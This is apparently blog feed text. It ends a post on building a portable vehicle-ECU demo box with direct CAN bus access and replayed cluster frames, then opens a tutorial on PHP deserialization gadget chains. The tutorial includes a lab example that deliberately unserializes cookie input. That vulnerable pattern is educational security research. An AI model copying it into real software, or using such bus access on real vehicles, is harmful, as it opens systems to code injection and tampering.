<p>Without this gained space, about 10 mm depth, the VAGBox would not be able to close properly.</p>
<h3>ECUs' stand</h3>
<p>Now that I had the panels and knew where to fit ECUs, it was time to think of how to fix them. While I could have placed them on their flat side, I wanted the connectors to be hidden. A straightforward solution was to create stands by cutting, stacking, and gluing as many plywood pieces together as needed to achieve the required depth. I then glued them onto the wood panel using wood glue.</p>
<!-- photo of support
![ECU stands](resources/2024-02-22_building_a_car_in_a_box/20231109_160516.jpg)
-->
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20231109_160516.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231109_160516.jpg">
</a>
</center></p>
<p>For the upper panel, I secured the IC and IVI screen with screws, ensuring that the length of the screws approximately matches the total depth of the support plus the panel for a secure and strong fixation. The eCALL is directly fixed to the panel and for the key fob, I also made a sort of stand, still using plywood that I glued on the panel. Finally, I secured it using a bungee cord.</p>
<!-- key fob support's photo
![key holder](resources/2024-02-22_building_a_car_in_a_box/20231213_160044.jpg)
-->
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20231213_160044.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231213_160044.jpg">
</a>
</center></p>
<p>I also crafted stands for each ECU on the lower panel and secured them using the same method as for the key fob. The power supply is directly screwed, and the IVI will be secured using an aluminium plate directly fixed onto the plywood panel. </p>
<p>Finally, the entire panels have been painted in black for a better finish.</p>
<!-- Photo of the panel before and after paint
![Painting panels](resources/2024-02-22_building_a_car_in_a_box/20231211_163653.jpg)
-->
<!--
![ECU on lower panels](resources/2024-02-22_building_a_car_in_a_box/20231212_161853.jpg)
-->
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20231211_163653.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231211_163653.jpg">
</a>
</center></p>
<h3>Control panel</h3>
<p>The control panel is placed between IVI and BCM and is composed of:</p>
<ul>
<li> 5 female DB9 connectors, each connected to a CAN bus, providing easy access to different networks, bypassing gateway restrictions</li>
<li> 1 OBD2 port connected to power and the CAN bus "diag" to include regular diagnostic access to ECUs</li>
<li> 1 Start/Stop button directly connected to the KESSY module which initiates the immobilizer check procedure</li>
<li> 1 USB port connected to the radio</li>
</ul>
<p>Regarding the construction, I positioned the different pieces I wanted on the upper plate and traced their outlines. Then, I drilled holes and used the router. Finally, I glued the components.</p>
<!-- Control panel's photo
![Control panel](resources/2024-02-22_building_a_car_in_a_box/20231212_174842.jpg)
![Control panel 2](resources/2024-02-22_building_a_car_in_a_box/20231212_210833.jpg)
![Control panel 3](resources/2024-02-22_building_a_car_in_a_box/20231214_120847.jpg)
-->
<div class="row">
<div class="column2">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231214_120847.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231214_120847.jpg">
</a>
</div>
<div class="column2">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231212_210833.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231212_210833.jpg">
</a>
</div>
<div class="column2">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231212_174842.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231212_174842.jpg">
</a>
</div>
</div>
<p>I would not be honest if I said that I did it perfectly on the first attempt. I drilled too far to the left for the USB space, so it ended up right above the vertical plywood structure of the panel.</p>
<p>Two options:</p>
<ul>
<li> Use the router to thin down the vertical plywood piece</li>
<li> Widen the existing hole to the right and fill the left side again with wood filler (I chose this one)</li>
</ul>
<p>Finally, I left some free space in case I would like to add additional components (e.g. a kill switch).</p>
<h3>Wiring harness</h3>
<p>I must have spent most of this project time crafting this lite wiring harness from the original one. First of all, here is the size of the OEM:</p>
<!-- Original wiring harness / multiple photos
![Wiring harness](resources/2024-02-22_building_a_car_in_a_box/20231006_171251.jpg)
![Wiring harness 2](resources/2024-02-22_building_a_car_in_a_box/20231006_175149.jpg)
-->
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231006_175149.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231006_175149.jpg">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231006_171251.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231006_171251.jpg">
</a>
</div>
</div>
<p>I could have made it from scratch, relying solely on OEM documentation, but I didn't have wires or the connectors at home (which I really wanted to obtain). Besides I found one for about 75€ whereas others are sold for 150-200€. A good deal for me, but as I mentioned before, it also involves a lot of work (a couple of hours). At least now, I have enough cables to build like 3 or 4 other cars in a box, so this is nice.</p>
<p>To make the wiring harness discreet and clean from the outside, I decided to use a braided cable sleeve and electrical tape. Here is the result:</p>
<!-- Photo of wiring harness almost finished
![crafting harness](resources/2024-02-22_building_a_car_in_a_box/20231125_183603.jpg)
![Lite harness](resources/2024-02-22_building_a_car_in_a_box/20231213_151802.jpg)
-->
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231213_151802.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231213_151802.jpg">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231125_183603.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231125_183603.jpg">
</a>
</div>
</div>
<p>It was not a very difficult job, but I had to think about cable lengths. Most of the ECUs' connectors have fewer than 32 pins and they are not all used. However, for the BCM, the one that manages a lot of input/output in the car, there are at least 60.</p>
<p>Here is a picture and an extract from the OEM documentation.</p>
<!-- picture of BCM connector before/after
![BCM_doc](resources/2024-02-22_building_a_car_in_a_box/20240104_101725.png)
-->
<!-- extract of the table
![BCM doc 2](resources/2024-02-22_building_a_car_in_a_box/20240104_101832.png)
-->
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20240104_101832.png" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20240104_101832.png">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20240104_101725.png" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20240104_101725.png">
</a>
</div>
</div>
<p>While cutting wires on the original harness, I found this on the BCM connectors:</p>
<!-- picture of custom thing on bcm
![additional connector](resources/2024-02-22_building_a_car_in_a_box/20240104_102847.jpg)
-->
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20240104_102847.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20240104_102847.jpg">
</a>
</center></p>
<p>Obviously, it is not part of the original wiring harness. That means someone customized his/her car with an additional module, connected to power, the infotainment CAN bus, the hazard warning light switch, and the rear right door contact switch. I still wonder what thing was connected to it.</p>
<p>The IVI screen and the female USB connector use high-speed data cable (HSD). These are used in the context of automotive communication systems and are shielded to protect signals from electromagnetic interference that may be present in the automotive environment. Of course, I needed to shorten them because the distance between the two components is much smaller in the VAGBox than in the car. I thought it was going to be tricky but in the end, it was pretty easy, using a third hand.</p>
<!-- Photos HSD
![HSD USB cut](resources/2024-02-22_building_a_car_in_a_box/20231214_163308.jpg)
![HSD USB cur 2](resources/2024-02-22_building_a_car_in_a_box/20231214_163316.jpg)
-->
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231214_163316.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231214_163316.jpg">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231214_163308.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231214_163308.jpg">
</a>
</div>
</div>
<p>You may have noticed that I mentioned the "manufacturer data sheet" twice; it is a must-have! Basically, it contains everything about the ECUs, their location, pinout, parts number, and it also provides network diagrams.
You can find parts of it on forums or you can buy an access token for an hour to one year and browse the official manufacturer's mechanic website. It does not cost a lot and it's a time-saving measure for sure.</p>
<h3>Powering the box</h3>
<p>As the box is used for international trainings and shows, it requires a transformer from 110/220V to 12V.</p>
<p>Historically, DC 6V and 12V have been used in cars. Over time, the 12V system became more popular due to its advantages in terms of power delivery and component design. Higher-voltage systems would require thicker and heavier wiring to handle the same power. Also, 12V system is considered safer for automotive applications, as it reduces the risk of serious injury in the event of accidental contact. Besides, lead-acid batteries are well suited for 12V systems.</p>
<p>Therefore, a transformer from AC 110/220V to DC 12V is required. The only requirements were for it to be as small as possible with a minimum of 5A to correctly power each ECU. The choice was quite straightforward, and it was ordered on A***** (once again).</p>
<!-- Photo power unit -->
<!--
![power supply](resources/2024-02-22_building_a_car_in_a_box/Screenshot_from_2024-01-04_10-36-43.png)
-->
<p>Lastly, I added a 3-meter-long power cord to ensure there was enough length to reach a power plug.</p>
<h3>Packing altogether & final result (v1)</h3>
<p>Now that the parts are ready, it's time to assemble them to build the VAGBox. The first thing I did was to glue the main panels to the box with a multi-material adhesive, and I waited about 24 hours for it to dry.</p>
<!-- photo of glue and panel fixing -->
<!--
![lower_panel](resources/2024-02-22_building_a_car_in_a_box/20231213_151356.jpg)
![lower panel fixed](resources/2024-02-22_building_a_car_in_a_box/20231213_151537.jpg)
-->
<p>I fixed each component as described earlier, powered on the box, and here is the result:</p>
<!-- photo during assembling and final result
![VAGBox v1](resources/2024-02-22_building_a_car_in_a_box/20231214_123443.jpg)
-->
<p><center>
<a href="resources/2024-02-22_building_a_car_in_a_box/20231214_123443.jpg" width="60%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231214_123443.jpg">
</a>
</center></p>
<p>You may have noticed that I left an empty space on the right side of the upper panel. This is because I'd like to add a second control panel with buttons to control things such as the gas gauge, the speed needle, the RPM needle, lights, and so on. This is something I'll do later.</p>
<h2>Instrument cluster demo mode</h2>
<p>As mentioned earlier, the instrument cluster receives and displays a lot of information from ECUs to the driver. Remember, one of the VAGBox's purposes is for demonstrations, and this is the kind of place where visual elements attract people. So, what better ECU than the IC for this task?
The thing is I don't have any VAG car fitting the MQB platform to capture frames sent to the IC. Well, I have a VW transporter at my disposal with nearly the same IC, but it is different, and so are the CAN arbitration IDs. And, I realized it after spending an entire day trying to get access to the "Convenience" CAN bus using basic piercing probes I bought the same morning. I ended up making incisions using crocodile clips. (Today, I use the Fluke TP81 probes which are awesome!)</p>
<p>I could have tried to generate such traffic manually, but it would have required too much time.</p>
<p>While searching for ideas on the Internet, I found a Github project by "r00li" called <a href="https://github.com/r00li/CarCluster">CarCluster</a> capable of "controlling car instrument clusters from a computer for gaming using an ESP32" and an MCP2515 CAN bus module. In addition, it provides a web interface that contains buttons and range sliders.</p>
<!-- photo of ESP32 + mcp2515
![ESP32](resources/2024-02-22_building_a_car_in_a_box/20240104_105446.jpg)
-->
<!-- Web interface
![web interface](resources/2024-02-22_building_a_car_in_a_box/dashboard.png)
-->
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/dashboard.png" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/dashboard.png">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20240104_105446.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20240104_105446.jpg">
</a>
</div>
</div>
<p>The module can be interfaced with the software <a href="https://www.simhubdash.com/">SimHub</a> "a modular multi sim dashboard and tactile feedback software".</p>
<p>From here, the idea was simple: get familiar with CarCluster and SimHub, then find a compatible car game (Dirt 3) and capture sent CAN frames while playing using the Quarkslab CAN adapter made by Philippe Azalbert. As the video game did not send information about coolant temperature, I injected periodic frames in the capture. Here is the final result:</p>
<p><center>
<video width="480" height="640" controls>
<source src="resources/2024-02-22_building_a_car_in_a_box/demonstration.mp4" type="video/mp4">
</video>
</center></p>
<p>For this to work and be replayed, the BCM must be powered off or disconnected. Otherwise, as it's in idle state, it won't let the IC wake up. Why? Because the BCM is the main ECU. It is the one that receives RF signals from the key fob for locking/unlocking the car. It is the one that sends CAN frames to wake up other ECUs and many other things that are not the topic of this blog. So when a wake-up frame is sent but not from the BCM, it catches it and immediately sends an 'idle' CAN frame, leading to an ECU waking up and going idle 10 times per second.</p>
<h2>Issues</h2>
<p>Of course, everything did not work on the first attempt, and some things still do not work for some reason. Here are the main issues:</p>
<h3>Travel test</h3>
<p>The main goal of the VAGBox is to be easily transportable from point A to point B all around the world by train, plane, or car. The box is solid, and the components inside must be too. The first test I ran was to open and close the lid heavily, and nothing moved, which is good news. Then I sat on the box to simulate weight like baggage stacked on it, and the upper panel came off... The reason is that the structure is made of solid and flexible plastic, whereas the plywood panel is not flexible. When I sat on it, the plastic changed form, but not the panel, which came off. I figured out a simple solution by using two nuts and bolts, washers, and silicone to seal the holes. Now, it no longer moves.</p>
<!-- photo of upper panel came off
![upper panel unstick](resources/2024-02-22_building_a_car_in_a_box/20231214_152627.jpg)
-->
<!-- Photo of upper panel nut and bolted
![upper panel nut and bolt](resources/2024-02-22_building_a_car_in_a_box/20240104_110052.jpg)
-->
<div class="row">
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20240104_110052.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20240104_110052.jpg">
</a>
</div>
<div class="column">
<a href="resources/2024-02-22_building_a_car_in_a_box/20231214_152627.jpg" width="70%">
<img src="resources/2024-02-22_building_a_car_in_a_box/20231214_152627.jpg">
</a>
</div>
</div>
<p>The lower panel is not affected by the deformation of the box plastic and needs no adaptation for now.</p>
<p>I've moved the case by car multiple times so far, and everything stayed in place.</p>
<h3>IVI CP</h3>
<p>CP or <strong>Component Protection</strong> is a security feature implemented in the IVI system. It is designed to prevent unauthorized use of a component and mainly serves as an anti-theft measure. This system is developed by many car manufacturers, and the way it works is software/hardware dependent.</p>
<p>CP can be triggered in many ways. It can be triggered by not receiving a specific CAN frame, or it can be based on the VIN, which is stored in each ECU. If the replacement part's VIN doesn't match other ECUs' VIN, then CP is activated.</p>
<p>There are two ways to deactivate CP:</p>
<ul>
<li> by using OEM tools (ODIS for VAG), or</li>
<li> by reversing the mechanism</li>
</ul>
<p>In our case, the limitations of an activated CP are minimal. It only prints on top of the screen layers the message "Component theft protection active" and disables the sound output. Other features are still enabled. In short, and after all, the CP active state is not an issue for us.</p>
<h2>Conclusion</h2>
<p>The VAGBox is not finished yet, but it is usable so far. As mentioned above, it lacks an additional control panel with visual outputs about the state of the car and controllers for moving the instrument cluster's needles.</p>
<p>In the end, I spent about 12 days on this project, including the conception, finding the box, making the electrical harness, the building, and so on. Regarding the price, I don't have the exact number in mind, but building the VAGBox costs around 1,000€.</p>
<p>Anyway, I hope you enjoyed reading this blog post, even if it's less technical than what we usually do. If you want to see the VAGBox in real life, follow us on Twitter, and don't miss our next show participation. But the best thing is to come and participate in our Practical Car Hacking training at Quarkslab and Hardwear.io. You won't regret it!</p>PHP deserialization attacks and a new gadget chain in Laravel2024-02-13T00:00:00+01:002024-02-13T00:00:00+01:00Mathieu Farrelltag:blog.quarkslab.com,2024-02-13:/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html<p>Discovery of a new gadget chain in Laravel.</p><h2>Introduction</h2>
<p>Without pretension this article reintroduces the already known concept of Property
Oriented Programming chain (POP chain) or gadget chain in PHP. The first part of
the article explains the basic ideas associated with gadget chain whereas the
second part details how we were able during an engagement to identify a new one
within <a href="https://laravel.com/">Laravel</a>. Two tricks were leveraged which, if you
know them, will be very useful for your gadget research.</p>
<h2>Lab setup</h2>
<p>We will use Docker to set up a test lab, and more specifically the project
<a href="https://github.com/sprintcube/docker-compose-lamp">docker-compose-lamp</a>
developed by <a href="https://github.com/sprintcube">sprintcube</a> to carry out our tests.</p>
<p>Note that this docker-compose project is useful in order to test tricks on different
versions of PHP. Indeed, all we have to do is change an environment variable to
adapt the PHP version to the targeted one.</p>
<p>With just a few command lines, we can create a viable and resilient test environment:</p>
<div class="highlight"><pre><span></span><code>git clone https://github.com/sprintcube/docker-compose-lamp
<span class="nb">cd</span> docker-compose-lamp
cp sample.env .env
</code></pre></div>
<p>Don't forget to change the secrets stored in the environement variables
(within file <span style="color:red">.env</span>) before launching your Docker
containers.</p>
<p>Then, launch the containers with the following command:</p>
<div class="highlight"><pre><span></span><code>docker-compose up -d
</code></pre></div>
<p>Now that our test environment is ready and our Web server is listening on port
58080 (80 if you didn't modify the file <span style="color:red">.env</span>),
let's look at the basic concepts.</p>
<h2>What is a gadget chain?</h2>
<p>A gadget chain, also known as a POP chain, is a string which is provided as the
first parameter (in one way or another) to the function <code>unserialize()</code>. The string
representing the gadget chain is specially crafted to instantiate one or multiple
objects that will take advantage of the execution flow of a PHP script by either
taking benefit of the application logic or leveraging one of the magic methods
which will be presented to you.</p>
<h2>What is serialization in PHP?</h2>
<p>As defined in the official <a href="https://www.php.net/manual/en/function.serialize.php">documentation</a>,
serialization transforms an object into a storable value (a string).</p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c0.png"></p>
<p>And its opposite principle, deserialization, transforms a storable value into an
object.</p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c1.png"></p>
<p>As you may understand, the two functions we're interested in are <code>serialize()</code> and
<code>unserialize()</code>. Given the fact that we're putting ourselves in the shoes of an
attacker, we're going to pay a particular attention, to the function <code>unserialize()</code>
when it takes as input data submitted by a user.</p>
<h3>Serialization</h3>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_0.php"><span style="color:red">example_0.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s2">"guest"</span><span class="p">);</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>When the above script (<span style="color:red">example_0.php</span>) is executed,
we observe within the server's response, a string that corresponds to a serialized
<code>User</code> object.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_0.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">56</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
string(42) "O:4:"User":1:{s:8:"username";s:5:"guest";}"
</code></pre></div>
<p>Where the serialized data corresponds to the following string:</p>
<div class="highlight"><pre><span></span><code><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"User"</span><span class="o">:</span><span class="mi">1</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"username"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">5</span><span class="o">:</span><span class="s2">"guest"</span><span class="o">;}</span><span class="w"></span>
</code></pre></div>
<h3>Deserialization</h3>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_1.php"><span style="color:red">example_1.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Hello from function __construct()</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$serialized_new_user_object</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">];</span>
<span class="nv">$new_user_object</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$serialized_new_user_object</span><span class="p">);</span>
<span class="nb">var_dump</span><span class="p">(</span><span class="nv">$new_user_object</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>The above example differs from the previous one. It demonstrates two things.
Firstly, as the documentation states, it is possible to instantiate a new object
from serialized data if it is passed as a parameter to the <code>unserialize()</code> function.</p>
<blockquote>
<p>In this example (<span style="color:red">example_1.php</span>), the serialized
data is transmitted via the <code>Cookie</code> HTTP header, that is why, the <code>;</code> character
is encoded in <code>%3b</code> to avoid it being confused with the cookie delimiter <code>;</code> by
the Web server.</p>
</blockquote>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_1.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":1:{s:8:"username"%3bs:5:"guest"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">60</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
object(User)#1 (1) {
["username"]=>
string(5) "guest"
}
</code></pre></div>
<p>The second thing that stands out, is that the new object is instantiated without
having to use its class constructor <code>__construct()</code>, because, as we can observe
from the HTTP response, the call to function <code>echo</code> never occurred. In fact, the
<code>unserialize()</code> function acts as a constructor as mentioned multiple times in the
official documentation.</p>
<blockquote>
<p><code>Serializable::unserialize()</code> acts as the constructor of the object.
The <code>__construct()</code> method will not be called after this method. - <a href="https://www.php.net/manual/en/serializable.unserialize.php">Serializable::unserialize</a></p>
</blockquote>
<p></br></p>
<blockquote>
<p>For the <code>Serializable</code> interface, when the data is unserialized the class is
known and the appropriate <code>unserialize()</code> method is called as a constructor
instead of calling <code>__construct()</code>. If you need to execute the standard
constructor you may do so in the method. - <a href="https://www.php.net/manual/en/class.serializable.php">The Serializable interface</a></p>
</blockquote>
<h3>Format of a serialized object</h3>
<p>Once serialized, objects are represented as strings. Let's take a look at the
serialization of the following types:</p>
<ul>
<li><code>null</code></li>
<li><code>boolean</code></li>
<li><code>int</code></li>
<li><code>float</code></li>
<li><code>string</code></li>
<li><code>array</code></li>
<li><code>object</code></li>
<li><code>reference</code></li>
</ul>
<p>The format comprehension is fairly intuitive. The values <code>N</code>, <code>b</code>, <code>i</code>, <code>d</code>, <code>s</code>,
<code>a</code>, <code>O</code> and <code>R</code> are defined in the PHP documentation as <a href="https://www.phpinternalsbook.com/php5/classes_objects/serialization.html">type specifier</a>.</p>
<p>The example below shows the different output possibilities generated by the
<code>serialize()</code> function for the above-mentioned types:</p>
<div class="highlight"><pre><span></span><code><span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="nt">Null</span><span class="o">);</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Null</span><span class="w"></span>
<span class="nt">N</span><span class="o">;</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="nt">true</span><span class="o">);</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Boolean</span><span class="w"></span>
<span class="nt">b</span><span class="p">:</span><span class="nd">1</span><span class="o">;</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="nt">false</span><span class="o">);</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Boolean</span><span class="w"></span>
<span class="nt">b</span><span class="p">:</span><span class="nd">0</span><span class="o">;</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="nt">1337</span><span class="o">);</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Int</span><span class="w"></span>
<span class="nt">i</span><span class="p">:</span><span class="nd">1337</span><span class="o">;</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="nt">13</span><span class="p">.</span><span class="nc">37</span><span class="o">);</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Float</span><span class="w"></span>
<span class="nt">d</span><span class="p">:</span><span class="nd">13</span><span class="p">.</span><span class="nc">37</span><span class="o">;</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="s2">"AAAA"</span><span class="o">);</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">String</span><span class="w"></span>
<span class="nt">s</span><span class="p">:</span><span class="nd">4</span><span class="o">:</span><span class="s2">"AAAA"</span><span class="o">;</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="nt">array</span><span class="o">(</span><span class="s2">"AAAA"</span><span class="o">));</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Array</span><span class="w"></span>
<span class="nt">a</span><span class="p">:</span><span class="nd">1</span><span class="o">:</span><span class="p">{</span><span class="n">i</span><span class="p">:</span><span class="mi">0</span><span class="p">;</span><span class="n">s</span><span class="p">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"AAAA"</span><span class="p">;}</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">(</span><span class="nt">new</span><span class="w"> </span><span class="nt">stdClass</span><span class="o">());</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Object</span><span class="w"></span>
<span class="nt">O</span><span class="p">:</span><span class="nd">8</span><span class="o">:</span><span class="s2">"stdClass"</span><span class="p">:</span><span class="nd">0</span><span class="o">:</span><span class="p">{}</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="o">$</span><span class="nt">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nt">array</span><span class="o">();</span><span class="w"> </span><span class="o">$</span><span class="nt">x</span><span class="cp">[</span><span class="mi">0</span><span class="cp">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"val"</span><span class="o">;</span><span class="w"> </span><span class="o">$</span><span class="nt">x</span><span class="cp">[</span><span class="mi">1</span><span class="cp">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&$</span><span class="nt">x</span><span class="cp">[</span><span class="mi">0</span><span class="cp">]</span><span class="o">;</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Reference</span><span class="w"></span>
<span class="nt">php</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nt">echo</span><span class="w"> </span><span class="nt">serialize</span><span class="o">($</span><span class="nt">x</span><span class="o">);</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="nt">Reference</span><span class="w"> </span><span class="o">(</span><span class="nt">part</span><span class="w"> </span><span class="nt">4</span><span class="o">)</span><span class="w"></span>
<span class="nt">a</span><span class="p">:</span><span class="nd">2</span><span class="o">:</span><span class="p">{</span><span class="n">i</span><span class="p">:</span><span class="mi">0</span><span class="p">;</span><span class="n">s</span><span class="p">:</span><span class="mi">3</span><span class="o">:</span><span class="s2">"val"</span><span class="p">;</span><span class="n">i</span><span class="p">:</span><span class="mi">1</span><span class="p">;</span><span class="n">R</span><span class="p">:</span><span class="mi">2</span><span class="p">;}</span><span class="w"></span>
</code></pre></div>
<p>For <code>reference</code> the important part is the <code>R:2;</code> element.
It means, <i>reference to the second value</i>. But what is the second value?</p>
<p>The whole array is the first value and the first index <code>s:3:"val"</code> is the second
value, so that's what is referenced.</p>
<p>For <code>array</code> we can read the following information in the PHP <a href="https://www.phpinternalsbook.com/php5/classes_objects/serialization.html">documentation</a>:</p>
<blockquote>
For arrays a list of key-value pairs is contained in curly braces:
<pre><code>
[10, 11, 12]: a:3:{i:0;i:10;i:1;i:11;i:2;i:12;}
^-- count([10, 11, 12])
v-- key v-- value
["foo" => 4, "bar" => 2]: a:2:{s:3:"foo";i:4;s:3:"bar";i:2;}
^-- key ^-- value
</code></pre>
</blockquote>
